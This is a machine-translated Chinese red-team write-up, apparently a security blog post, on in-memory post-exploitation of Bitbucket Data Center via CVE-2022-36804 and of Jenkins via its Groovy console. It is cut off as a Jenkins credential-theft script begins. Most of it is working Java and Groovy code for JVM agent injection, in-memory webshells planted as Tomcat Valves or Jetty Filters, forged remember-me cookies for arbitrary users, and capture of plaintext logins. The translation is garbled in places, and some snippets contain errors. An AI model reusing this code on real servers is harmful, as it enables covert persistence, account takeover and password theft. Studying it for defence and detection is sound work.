早在三月份,我们就描述了在 Java 应用程序上利用任意反序列化时可以使用的技巧。在接下来的红队行动中,我们遇到了受其他类型漏洞影响的 Java 应用程序,这些漏洞会导致代码执行。本文将尝试介绍一些用于注入内存中 Java 有效负载的其他技巧,并通过针对知名应用程序的具体示例进行说明。
介绍
我们在之前的博客文章1中提到的逻辑,针对受任意反序列化漏洞影响的应用程序,可以适用于从导致 RCE 的不同漏洞或功能(例如 SSTI、脚本引擎和命令注入)注入内存中有效负载。
本文将介绍一些可用于注入此类有效载荷的技巧和窍门,以及开发允许更改应用程序行为的后利用功能。在后利用期间保持不被发现,或拦截向受感染应用程序进行身份验证的特权用户的明文凭据,这将很有趣。
我们将重点关注基于 Web 的 Java 应用程序,并尝试通过针对以下知名产品来说明这些技巧:
-
Bitbucket 数据中心利用命令注入漏洞。
-
Jenkins利用其 Groovy 控制台。
-
Confluence 数据中心利用 SSTI 漏洞。
通过命令注入加载
Bitbucket是一个基于 Web 的平台,用于托管和管理 Git 存储库。它为开发人员和团队提供了多种功能,以便他们在软件项目上进行协作。该解决方案由 Atlassian 拥有和开发。
语境
2022 年,披露了一个影响 Bitbucket 数据中心的 命令注入漏洞,编号为CVE-2022-36804git 。在将存储库导出到存档时,可以通过向命令注入任意参数来利用此漏洞。如果匿名用户被授予对公共存储库的读取访问权限,则可以在未经事先身份验证的情况下利用此漏洞,并且存在多个 PoC 2 3来利用此漏洞。
此漏洞可用于入侵托管它的服务器并执行网络转移。但是,如果此应用程序托管敏感资产且仍由合法开发人员使用,则首先入侵它及其托管的资产可能很有趣。此外,如果传出流量被过滤,并且如果应用程序以非特权用户身份执行,则可能需要使用该应用程序本身窃取数据。
破坏它的最简单方法是通过 Java 代码与其运行时进行交互。Bitbucket 内部使用以下依赖项:
-
嵌入式 Tomcat作为 Web 服务器。
-
Spring框架。
请注意,以下后利用技巧是在 Bitbucket Datacenter 7 上测试的,但相同的方法也可以用于其他版本或应用程序。
[...]
INFO [main] c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (/opt/atlassian/bitbucket/app/WEB-INF/classes started by bitbucket in /var/atlassian/application-data/bitbucket)
INFO [main] c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: default
INFO [main] c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022)
INFO [main] c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1
INFO [main] c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135)
INFO [spring-startup] c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory /var/atlassian/application-data/bitbucket
[...]
注入内存有效载荷
JVM 的Instrumentation功能对于此目的非常有用,因为它们提供了调试或分析应用程序的功能,例如在正在运行的 Java 进程中加载任意 JAR 文件。实际上,只要从同一系统用户请求, Attach API就可以在进程上附加代理,并且不受限制。本文4介绍了 Attach API 的限制和风险。在使用Docker 映像的默认 Bitbucket 安装中,未配置此类限制。
为了让 JVM 加载代理,应该创建一个通过利用命令注入漏洞执行的 JAR 应用程序。此应用程序应定义两个入口点:
-
静态方法main,在应用程序合法启动时执行。此方法将使用 Attach API 使远程 JVM 将自身作为代理加载。定义此方法的主类应在Main-Class主Manifest的条目中引用。
-
静态方法agentmain,当代理(JAR 应用程序本身)加载到远程 Java 进程时执行。定义此方法的类应在Agent-Class主 Manifest 的条目中引用。
在main静态方法中,可以按如下方式使用 Instrumentation API,使用 查找正确的 Java 进程 VirtualMachine::list,并使用 将自身加载为代理VirtualMachine.loadAgent:
public class Main {
// looks up the current application's JAR path
private static String getCurrentJarPath() throws URISyntaxException {
return new File(Main.class.getProtectionDomain().getCodeSource()
.getLocation().toURI()).getAbsolutePath();
}
public static void main(String[] args) {
try {
String jarPath = getCurrentJarPath();
if (!jarPath.endsWith(".jar")) return;
Class vm = Class.forName("com.sun.tools.attach.VirtualMachine");
Class vmDescriptor = Class.forName("com.sun.tools.attach.VirtualMachineDescriptor");
List<Object> descriptors = (List<Object>) vm.getMethod("list").invoke(null);
for (Object descriptor : descriptors) {
String pid = (String) vmDescriptor.getMethod("id").invoke(descriptor);
String name = (String) vmDescriptor.getMethod("displayName").invoke(descriptor);
// filter process by its name / command line
if (!name.contains("com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher"))
continue;
Object vmObject = null;
try {
vmObject = vm.getMethod("attach", String.class).invoke(null, pid);
if (vmObject != null)
vm.getMethod("loadAgent", String.class).invoke(vmObject, jarPath);
} finally {
if (vmObject != null)
vm.getMethod("detach").invoke(vmObject);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面的代码片段根据java属于 Bitbucket 应用程序的命令行选择目标:
# ps -xa
197 ? Sl 5:03 /opt/java/openjdk/bin/java -classpath /opt/atlassian/bitbucket/app -Datlassian.standalone=BITBUCKET -Dbitbucket.home=/var/atlassian/application-data/bitbucket -Dbitbucket.install=/opt/atlassian/bitbucket -Xms512m -Xmx1g -XX:+UseG1GC -Dfile.encoding=UTF-8 -Dsun.jnu.encoding=UTF-8 -Djava.io.tmpdir=/var/atlassian/application-data/bitbucket/tmp -Djava.library.path=/opt/atlassian/bitbucket/lib/native;/var/atlassian/application-data/bitbucket/lib/native com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher start --logging.console=true
[...]
但是,即使 JRE 的 JVM 中存在此机制,Attach API 和用于与 JVM 通信的逻辑 ( libattach) 也可能不存在。例如,我们遇到了使用OpenJDK-8-JRE没有此类 API 的 Bitbucket 安装。为了修复它,应从相应的 JDK 中检索以下两个文件:
-
文件上的 Java Attach API tools.jar。
-
低级libattach实现(libattach.dll或libattach.so)。
然后,如果需要的话,将这两个文件写入磁盘,并且调整类路径和低级库路径5:
private static void prepare() throws Exception {
try {
Class.forName("com.sun.tools.attach.VirtualMachine");
} catch (Exception e) { // if libattach is not present/loaded
String parentPath = new File(getCurrentJarPath()).getParent();
String finalPath = parentPath + "/tools.jar";
ClassLoader loader = ClassLoader.getSystemClassLoader();
// adjust low-level libraries path
Field field = ClassLoader.class.getDeclaredField("sys_paths");
field.setAccessible(true);
List<String> newSysPaths = new ArrayList<>();
newSysPaths.add(parentPath);
newSysPaths.addAll(Arrays.asList((String[])field.get(loader)));
field.set(loader, newSysPaths.toArray(new String[0]));
// add tools.jar to the class path
URLClassLoader urlLoader = (URLClassLoader) loader;
Method addURLMethod = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
addURLMethod.setAccessible(true);
File toolsJar = new File(finalPath);
if (!toolsJar.exists())
throw new RuntimeException(toolsJar.getAbsolutePath() + " does not exist");
addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL());
}
}
但请注意,使用调整类路径addURL在 Java 9 及更高版本上不起作用,因为系统类加载器不再扩展 URLClassLoader。
一旦 Java 代理在远程 JVM 进程上加载,就会在远程进程内部调用并执行agentmain的方法。Agent-Class
获取 Bitbucket 的句柄
要与 Bitbucket 交互,应获取对应用程序内部状态的引用。但首先,应在运行时定义使用 Bitbucket 依赖项的自定义类。
有两种方法可以做到这一点:
-
使用 Instrumentation API 来拦截调用并修补现有的字节码。
-
查找权利ClassLoader并手动定义新类。
第一种方法已经在多篇博客文章6 7和项目8 9中介绍过。
它们都依赖于Transformer Instrumentation API 并覆盖现有的字节码。本文将详细介绍第二种选择,我们在实际工作中使用过这种选择,由于它不会干扰现有的类,因此危险性较低。这里的主要思想是开发一个新的 Java 库,在项目中编译(使用 Maven、Gradle 或手动),将 Bitbucket 依赖项作为外部依赖项导入。该库将通过调用其组件来扩展 Bitbucket,并在运行时从 注入ClassLoader。
要查找ClassLoader包含 Bitbucket 类及其依赖项的正确内容,可以使用以下代码片段:
private static ClassLoader lookup (Instrumentation i) {
for (Class klass : i.getAllLoadedClasses()) {
if (!klass.getName().equals("org.apache.catalina.valves.ValveBase")) continue;
return klass.getClassLoader();
}
return null;
}
// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
ClassLoader targetLoader = lookup(i);
}
然后,我们只需从字节码中手动定义我们的类。在这里,我们在代理上创建一个类,该类扩展ClassLoader使用targetLoader作为其父类,以定义类而不必使私有defineClass方法可访问:
private static class AgentLoader extends ClassLoader {
private static final byte[][] classBytecodes = new byte[][] {
new byte[]{ /* custom class bytecode */ }
/* classes bytecode */
};
private static final String[] classNames = new String[] {
"org.my.project.CustomClass"
};
public void defineClasses() throws Exception {
for (int = 0; i < classBytecodes.length; ++i) {
defineClass(classNames[i], classBytecodes[i], 0,
classBytecodes[i].length);
}
}
}
// [...]
// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
try {
ClassLoader targetLoader = lookup(i);
AgentLoader loader = new AgentLoader(targetLoader);
loader.defineClasses();
} catch (Exception e) {
e.printStackTrace();
}
}
请注意,更简单的方法是创建一个作为其父级的URLClassLoader类targetLoader,并使用它来从自定义 JAR 库中加载类。
现在我们的类在右侧定义ClassLoader,我们可以从它们导入 Bitbucket 依赖项。
然后,我们需要获取对内部应用程序状态的引用。正如我们在之前的博客文章中所解释的那样,此类变量通常存储在 上ThreadLocals。这种通用方法的问题在于我们的代码不在当前正在处理 Web 请求的线程上运行。要解决这个问题,我们只需要连续分析ThreadLocals所有线程,并在识别出对正确状态变量的引用时停止:
package org.my.project;
// [...]
import org.springframework.web.context.request.ServletRequestAttributes;
// [...]
public class CustomClass implements Runnable {
private static ServletRequestAttributes lookupAttributes() throws Exception {
ServletRequestAttributes attribs = null;
// Analyzes all thread locals of all threads
// Stops when a servlet request is being processed
// to obtain a reference to the web app ctx
while(true) {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread t : threads) {
java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap")
.getDeclaredField("table");
fTable.setAccessible(true);
if(fThreadLocals.get(t) == null) continue;
Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
.getDeclaredField("value");
fValue.setAccessible(true);
int length = java.lang.reflect.Array.getLength(table);
for (int i=0; i < length; ++i) {
Object entry = java.lang.reflect.Array.get(table, i);
if(entry == null) continue;
Object value = fValue.get(entry);
if(value == null) continue;
if (value instanceof WeakReference) {
value = ((WeakReference<?>) value).get();
}
if(value == null) continue;
if (value instanceof SoftReference) {
value = ((SoftReference<?>) value).get();
}
if(value == null) continue;
// We've found a ref
if(value.getClass().getName().equals(ServletRequestAttributes.class.getName())) {
attribs = (ServletRequestAttributes) value;
break;
}
}
if (attribs != null) break;
}
if (attribs != null) break;
Thread.sleep(100);
}
return attribs;
}
@Override
public void run() {
try {
ServletContext svlCtx = lookupAttributes().getRequest().getServletContext();
// TODO reuse ServletContext
} catch(Exception ignored) {
}
}
static {
new Thread(new CustomClass()).start();
}
}
上一个类CustomClass有一个静态块初始化程序,当从代理定义类时执行。此块创建一个新线程,该线程不断分析ThreadLocals。lookupAttributes当识别到实例的引用ServletRequestAttributes并ServletContext从中检索实例时,静态方法将停止。为了加快这一步,我们只需向 Bitbucket 应用程序发送新的 HTTP 请求。
从ServletContext实例中,我们可以执行以下操作:
-
Valve通过在嵌入式 Tomcat 上注册一个新请求来拦截所有 HTTP 请求。
-
获取对 Bitbucket 的 Spring 状态的引用。
为了拦截所有 HTTP 请求并注册内存中的 webshell,可以使用以下代码片段:
public static class CustomValve extends ValveBase {
// [...]
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
// TODO parse request and send a response from the in-memory webshell
} catch (Exception ignored) {
} finally {
// forward to the next Valve
if (this.getNext() != null) {
this.getNext().invoke(request, response);
}
}
}
// [...]
}
private void injectValve(ServletContext svlCtx) {
// Intercepts all requests (including pre-auth requests)
WebappClassLoaderBase lbase = (WebappClassLoaderBase) svlCtx.getClassLoader();
Field fResources = WebappClassLoaderBase.class.getDeclaredField("resources");
fResources.setAccessible(true);
StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
.getContext();
// Already injected ?
for (Valve valve: ctx.getParent().getPipeline().getValves()) {
if(valve.getClass().getName() == CustomValve.class.getName())
return;
}
ctx.getParent().getPipeline().addValve(new CustomValve());
}
实现相同结果的另一种方法是查找特定上下文类加载器的实例。每个线程都与一个上下文类加载器相关联,对于 Tomcat 来说,通过搜索所有线程,我们可以找到一个WebappClassLoaderBase。
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread t : threads) {
cl = t.getContextClassLoader();
if(WebappClassLoaderBase.class.isInstance(cl)){
return cl;
}
}
这个特定的类加载器有一个resources字段:
public abstract class WebappClassLoaderBase extends URLClassLoader implements ... {
[...]
protected WebResourceRoot resources = null;
从这个字段中我们可以检索上StandardConext一个示例中使用的内容。
public class StandardRoot extends LifecycleMBeanBase implements WebResourceRoot {
[...]
private Context context;
[...]
public Context getContext() {
return this.context;
}
关于 Bitbucket 的 Spring 状态,它是类的一个实例WebApplicationContext,可以从实例的属性中获取ServletContext。可以通过以下方式获取此属性的名称:
-
反编译 Bitbucket。
-
调试 Bitbucket。
-
简单分析一下这个实例的所有注册的属性SpringContext。
从这个常量名称WebApplicationContext可以检索实例:
String SPRING_ATTR = "org.springframework.web.context.WebApplicationContext:Bitbucket";
ServletContext svlCtx = /* lookup() */;
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
最后,可以调用BeansSpring 上的 Bitbucket 组件,或者从中检索 Bitbucket 属性:
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
SampleService sampleService = (SampleService) ctx.getBean("sampleService");
String sampleBitbucketPropertyValue = ctx.getEnvironment().getProperty("some-property");
与 Bitbucket 组件交互
现在,我们可以通过调用 Bitbucket 的组件来扩展 Bitbucket 的功能,这样我们就可以轻松找到 Bitbucket 的有趣功能。然后,这些功能将在我们的内存 webshell 中用于提供特定的命令。
至于SpringContext属性,我们可以通过将调试器附加到 Bitbucket 来分析调用堆栈,并反编译相关的 JAR 依赖项。这篇博文不会介绍它,但它是一个很好的开始,可以找到哪些组件(即 Spring Beans)用于在 Bitbucket 中执行特定任务。
实际上,以下 JAR 文件很有趣:
-
API 定义(仅使用接口),在 JAR 库上遵循命名约定bitbucket-[feature]-api-[version].jar。
-
API 实现,在遵循命名约定的 JAR 库上bitbucket-[feature]-impl-[version].jar。
主要 API 的部分内容记录在Atlassian Docs 网站上。
在 API 实现库上,@Service(“[name]”) Spring 类注释对应于赋予 Bitbucket 组件(即 Spring Bean)的名称,可以从中检索WebApplicationContext。
例如,DefaultUserService实现UserService一个名为的Bean userService:
// [...]
@DependsOn({"createSystemUserUpgradeTask"})
@AvailableToPlugins(interfaces = {UserService.class, DmzUserService.class})
@Service("userService")
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/user/DefaultUserService.class */
public class DefaultUserService extends AbstractService implements InternalUserService {
// [...]
private final ApplicationUserDao userDao;
private final UserHelper userHelper;
@Value("${page.max.groups}")
private int maxGroupPageSize;
@Value("${page.max.users}")
private int maxUserPageSize;
@Autowired
public DefaultUserService(@Lazy InternalAvatarService avatarService, InternalAuthenticationContext authenticationContext, CacheFactory cacheFactory, CrowdControl crowdControl, EventPublisher eventPublisher, I18nService i18nService, PasswordResetHelper passwordResetHelper, @Lazy InternalPermissionService permissionService, ApplicationUserDao userDao, UserHelper userHelper, @Value("${auth.remote.cache.cacheSize}") int cacheSize, @Value("${auth.remote.cache.ttl}") int cacheTtl, @Value("${auth.remote.enabled}") boolean checkRemoteDirectory) {
// [...]
}
@PreAuthorize("hasUserPermission(#user, 'USER_ADMIN')")
public void deleteAvatar(@Nonnull ApplicationUser user) {
this.avatarService.deleteForUser((ApplicationUser) Objects.requireNonNull(user, "user"));
}
// [...]
}
从我们的上下文中可以得到如下信息:
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
UserService userService = (UserService) ctx.getBean("userService");
列出管理员
后漏洞利用的第一步是执行侦察阶段。在当前情况下,列出 Bitbucket 实例的所有管理员的详细信息很有用。为此,还有一个PermissionService
可用于获取具有特定权限的用户详细信息的函数:
// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
.getAttribute(SPRING_ATTR);
HashMap<String, Object> result = new HashMap<>();
PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
for(ApplicationUser user : admins.getValues()) {
HashMap<String, Object> entry = new HashMap<>();
entry.put("user_id", user.getId());
entry.put("user_name", user.getDisplayName());
entry.put("user_slug", user.getSlug());
entry.put("user_type", user.getType().name());
entry.put("user_enabled", Boolean.toString(user.isActive()));
entry.put("user_email", user.getEmailAddress());
entry.put("permission", perm.name());
result.put(Integer.toString(user.getId()), entry);
}
}
但是,如果此代码片段按原样从我们注入的上下文(即从我们自定义的拦截请求)执行,则会抛出Valve以下错误:Exception
org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread
在 Bitbucket 中,Spring 框架在后台使用HibernateOpenSessionInViewFilter 。在我们的上下文中,没有打开任何会话,因此所有后续数据库查询都将失败。通过重现使用的行为SessionFactoryUtils
,我们可以为我们的上下文设置一个新的会话:
import org.hibernate.FlushMode;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.springframework.orm.hibernate5.SessionFactoryUtils;
import org.springframework.orm.hibernate5.SessionHolder;
import org.springframework.transaction.support.TransactionSynchronizationManager;
import org.springframework.web.context.WebApplicationContext;
import java.io.Closeable;
public class HibernateSessionCloseable implements Closeable {
private final SessionFactory factory;
private final Session session;
public HibernateSessionCloseable(WebApplicationContext webCtx) {
this.factory = (SessionFactory) webCtx.getBean("sessionFactory");
this.session = factory.openSession();
session.setHibernateFlushMode(FlushMode.MANUAL);
SessionHolder holder = new SessionHolder(session);
TransactionSynchronizationManager.bindResource(factory, holder);
}
@Override
public void close() {
session.flush();
TransactionSynchronizationManager.unbindResource(factory);
SessionFactoryUtils.closeSession(session);
}
}
// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
.getAttribute(SPRING_ATTR);
HashMap<String, Object> result = new HashMap<>();
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
for(ApplicationUser user : admins.getValues()) {
// [...]
}
}
}
生成身份验证 cookie
此内存 Webshell 的另一个有趣功能是为任意 Bitbucket 用户生成经过身份验证的会话。Bitbucket 和多个应用程序(参见Spring Remember-Me Authentication)一样,具有基于记住我 cookie 的身份验证方法(参见RememberMeService)。此功能默认启用(optional Bitbucket属性的值 auth.remember-me.enabled),并根据 cookie 自动对用户进行身份验证。
该服务由以下类实现DefaultRememberMeService:
// [...]
@Service("rememberMeService")
@AvailableToPlugins(RememberMeService.class)
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/auth/DefaultRememberMeService.class */
public class DefaultRememberMeService implements InternalRememberMeService, RememberMeService {
// [...]
private final AuthenticationContext authenticationContext;
private final RememberMeTokenDao dao;
private final SecureTokenGenerator tokenGenerator;
private final UserService userService;
// [...]
public void createCookie(@Nonnull HttpServletRequest request, @Nonnull HttpServletResponse response) {
ApplicationUser user = this.authenticationContext.getCurrentUser();
Objects.requireNonNull(user);
doCreateCookie(user, request, response, false);
}
// [...]
@VisibleForTesting
protected String encodeCookie(String... cookieTokens) {
String joined = StringUtils.join(cookieTokens, ":");
String encoded = new String(Base64.encodeBase64(joined.getBytes()));
return StringUtils.stripEnd(encoded, "=");
}
// [...]
private void doCreateCookie(@Nonnull ApplicationUser user, @Nonnull HttpServletRequest request,
@Nonnull HttpServletResponse response, boolean shouldThrowIfCookiePresent) {
Cookie cookie = getCookie(request);
if (cookie != null) {
if (shouldThrowIfCookiePresent) {
cancelCookie(request, response);
InternalRememberMeToken token = toToken(cookie);
throw new IllegalStateException("A remember-me cookie for series '+"
+ (token != null ? token.getSeries() : "invalid")
+ "' is already present. Cannot provide a remember-me cookie for a new series. Canceling the existing cookie");
}
logout(request, response);
}
InternalRememberMeToken token2 = (InternalRememberMeToken) this.dao.create(
new InternalRememberMeToken.Builder()
.series(this.tokenGenerator.generateToken())
.token(this.tokenGenerator.generateToken())
.user(InternalConverter.convertToInternalUser(user))
.expiresAfter(this.expirySeconds, TimeUnit.SECONDS).build());
setCookie(request, response, token2);
log.debug("Created new remember-me series '{}' for user '{}'", token2.getSeries(), user.getName());
}
// [...]
}
由于此服务仅允许为当前经过身份验证的用户生成记住我 cookie,因此我们需要通过复制doCreateCookie私有方法的行为来生成记住我 cookie:
HashMap<String, Object> result = new HashMap<>();
int userId = (int) args.get("target_user_id");
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
//lookup user
UserService userService = (UserService) ctx.getBean("userService");
ApplicationUser user;
try {
user = userService.getUserById(userId);
} catch (Exception e) {
return;
}
if (user == null) return;
//generate an auto-login cookie for this user
RememberMeTokenDao rmeDao = (RememberMeTokenDao) ctx.getBean("rememberMeTokenDao");
SecureTokenGenerator tokenGenerator = (SecureTokenGenerator) ctx.getBean("tokenGenerator");
InternalRememberMeToken token = rmeDao.create(
new InternalRememberMeToken.Builder()
.series(tokenGenerator.generateToken())
.token(tokenGenerator.generateToken())
.user(InternalConverter.convertToInternalUser(user))
.expiresAfter(TimeUnit.DAYS.toSeconds(365), TimeUnit.SECONDS)
.build()
);
String joined = StringUtils.join(Arrays.asList(token.getSeries(), token.getToken()), ':');
result.put("cookie_name", ctx.getEnvironment().getProperty("auth.remember-me.cookie.name"));
result.put("cookie_value", Base64Utils.encodeToUrlSafeString(joined.getBytes()));
}
POST /j_atl_security_check HTTP/1.1
Host: 172.16.0.2:7990
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]
j_username=[USERNAME]&j_password=[PASSWORD]&_atl_remember_me=on&next=[...]&queryString=[...]&submit=Log+in
在我们的上下文中,所有 HTTP 请求都可以从类中拦截CustomValve,以下代码片段记录了所有接收到的凭据:
public static class CustomValve extends ValveBase {
// [...]
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getRequestURI().equals("/j_atl_security_check")
&& request.getMethod().equalsIgnoreCase("POST")
&& request.getParameter("j_username") != null
&& request.getParameter("j_password") != null) {
logCredentials(request.getParameter("j_username"),
request.getParameter("j_password"));
}
// TODO parse request and send a response from the in-memory webshell
} catch (Exception ignored) {
} finally {
// forward to the next Valve
if (this.getNext() != null) {
this.getNext().invoke(request, response);
}
}
}
private final HashMap<String, Set<String>> credentials = new HashMap<>();
private void logCredentials(String username, String pass) {
u = u.trim();
synchronized (credentials) {
if(credentials.containsKey(username)) {
Set<String> set = credentials.get(u);
set.add(pass);
} else {
Set<String> set = new HashSet<>();
set.add(pass);
credentials.put(username, set);
}
}
}
// [...]
}
最后,只需修改 webshell 即可处理新命令,该命令会使用所有拦截的凭据来响应其调用者。
通过脚本引擎加载
Jenkins 是一款开源自动化服务器,广泛用于软件开发中的持续集成 (CI) 和持续交付 (CD) 管道。它允许开发人员自动化软件开发过程的各个方面,例如构建、测试和部署代码更改。
语境
Jenkins 具有允许从以下位置执行 Groovy 脚本的功能:
-
管理界面上的脚本控制台,可以在 Jenkins 控制器运行时(即执行 Web 控制台的地方)执行脚本。
-
将代码提交到管道时的自动化任务,其中脚本在 Jenkins 工作者上执行。
在过去的几年中,我们已经发现了两条导致 Jenkins 主站出现 RCE 的预认证路径:
-
Jenkins Remoting中对用户提供的数据进行任意反序列化( CVE-2017-1000353,包括 Metasploit 模块10 )。如本文11所述,反序列化是由使用 的SignedObject小工具链触发的。commons-collections:3.0Transformers
-
Orange Tsai (Hacking Jenkins 第一部分12、Hacking Jenkins 第二部分13 )介绍了几种针对管道作业的沙盒绕过方法,链接了CVE-2018-1000861、CVE-2019-1003005和CVE-2019-1003029 (PoC 14 )。
在本文中,我们将仅考虑在 Jenkins 上以管理员身份进行身份验证的简单情况,我们可以使用脚本控制台在 Jenkins 控制器运行时内执行任意 Groovy 脚本。但请注意,以下章节中介绍的后期利用技巧可以从上述两个 RCE 链中使用。
Groovy 脚本执行将用于与 Jenkins 运行时进行交互。Jenkins 内部使用以下依赖项:
-
嵌入式 Jetty作为 Web 服务器。
-
Spring框架。
注入内存有效载荷
我们已经可以从 Groovy 中定义新类。此外,我们还可以从当前线程上下文的父级定义自定义类ClassLoader:
try {
ClassLoader cl = Thread.currentThread().getContextClassLoader()
.getParent();
Class kValve;
for(d in ['[B64_ENCODED_CLASS_BYTECODE]']) {
byte[] klassBytes = Base64.decoder.decode(d.strip());
m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
kValve = (Class) m.invoke(cl, klassBytes, 0, klassBytes.length);
}
kValve.newInstance();
} catch(e) { }
通过注入的自定义类,我们可以与 Jenkins 和 Spring 类进行交互。下一步是注入一个内存中的 webshell,拦截所有 HTTP 请求。在 Jetty 上的 Spring 中,我们可以获取当前正在处理请求的线程的引用WebAppContext$Context。ThreadLocals从封闭类的实例中WebAppContext$Context,我们可以检索封闭类的实例WebAppContext,存储在内部字段中this$0。
幸运的是,我们的 Groovy 脚本是在处理当前 HTTP 请求的线程内执行的,我们可以从以下代码片段中获取此引用:
try {
Thread t = Thread.currentThread();
java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap").getDeclaredField("table");
fTable.setAccessible(true);
if (fThreadLocals.get(t) == null) return;
Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry").getDeclaredField("value");
fValue.setAccessible(true);
Object handle = null;
int length = java.lang.reflect.Array.getLength(table);
for (int i = 0; i < length; ++i) {
Object entry = java.lang.reflect.Array.get(table, i);
if (entry == null) continue;
Object value = fValue.get(entry);
if (value == null) continue;
if (value instanceof WeakReference) {
value = ((WeakReference<?>) value).get();
}
if (value == null) continue;
if (value instanceof SoftReference) {
value = ((SoftReference<?>) value).get();
}
if (value == null) continue;
if (value.getClass().getName().equals("org.eclipse.jetty.webapp.WebAppContext$Context")) {
handle = value;
break;
}
}
if (handle == null) return;
Field this0 = handle.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext) this0.get(handle);
} catch (Throwable ignored) {
}
然后,我们可以使用该引用来定义自定义 Filter,并将其添加到链的顶部:
//[...]
import javax.servlet.Filter;
//[...]
public class CustomFilter implements Filter {
public CustomFilter(WebAppContext appCtx) throws Exception {
ServletHandler handler = appCtx.getServletHandler();
addFilterWithMapping(
handler,
new FilterHolder(this), "/*",
EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST)
);
}
private static void addFilterWithMapping(final ServletHandler handler, FilterHolder holder,
String pathSpec, EnumSet<DispatcherType> dispatches) throws Exception {
holder.setName("CustomFilter" + new SecureRandom().nextInt(0xffff));
Objects.requireNonNull(holder);
FilterHolder[] holders = handler.getFilters();
if (holders != null) {
holders = holders.clone();
} else {
holders = new FilterHolder[0];
}
// already injected
for (FilterHolder entry : holders) {
if (entry.getFilter().getClass().getName().equals(CustomFilter.class.getName()))
return;
}
synchronized (handler) {
Method contains = handler.getClass()
.getDeclaredMethod("containsFilterHolder", FilterHolder.class);
contains.setAccessible(true);
if (!((Boolean) contains.invoke(handler, holder))) {
handler.setFilters(ArrayUtil.add(new FilterHolder[]{holder}, holders));
}
}
FilterMapping mapping = new FilterMapping();
mapping.setFilterName(holder.getName());
mapping.setPathSpec(pathSpec);
mapping.setDispatcherTypes(dispatches);
handler.prependFilterMapping(mapping);
}
@Override
public void destroy() { }
@Override
public void init(FilterConfig filterConfig) { }
private static class AbortRequest extends Throwable { }
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (request.getHeader(/* [...] */) != null) {
try {
handleRequest(request, response);
} catch (AbortRequest e) {
return; //if raw HTML result, prevent the req from being processed by jenkins
}
}
} catch (Exception ignored) {
}
if (filterChain != null) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
// [...]
}
然后可以扩展这个内存中的 webshell 来定义特定的功能。
执行脚本
RemotingDiagnostics
在 Jenkins 上,使用Hudson 类及其私有类执行 Groovy 脚本Script。此类导入了几个允许与Jenkins API交互的包。
例如,以下脚本(基于本文15中提到的脚本)可用于直接窃取所有自动化机密,只要当前经过身份验证的用户被授予对它们的读取权限:
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl
import com.cloudbees.plugins.credentials.common.StandardCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
import org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl
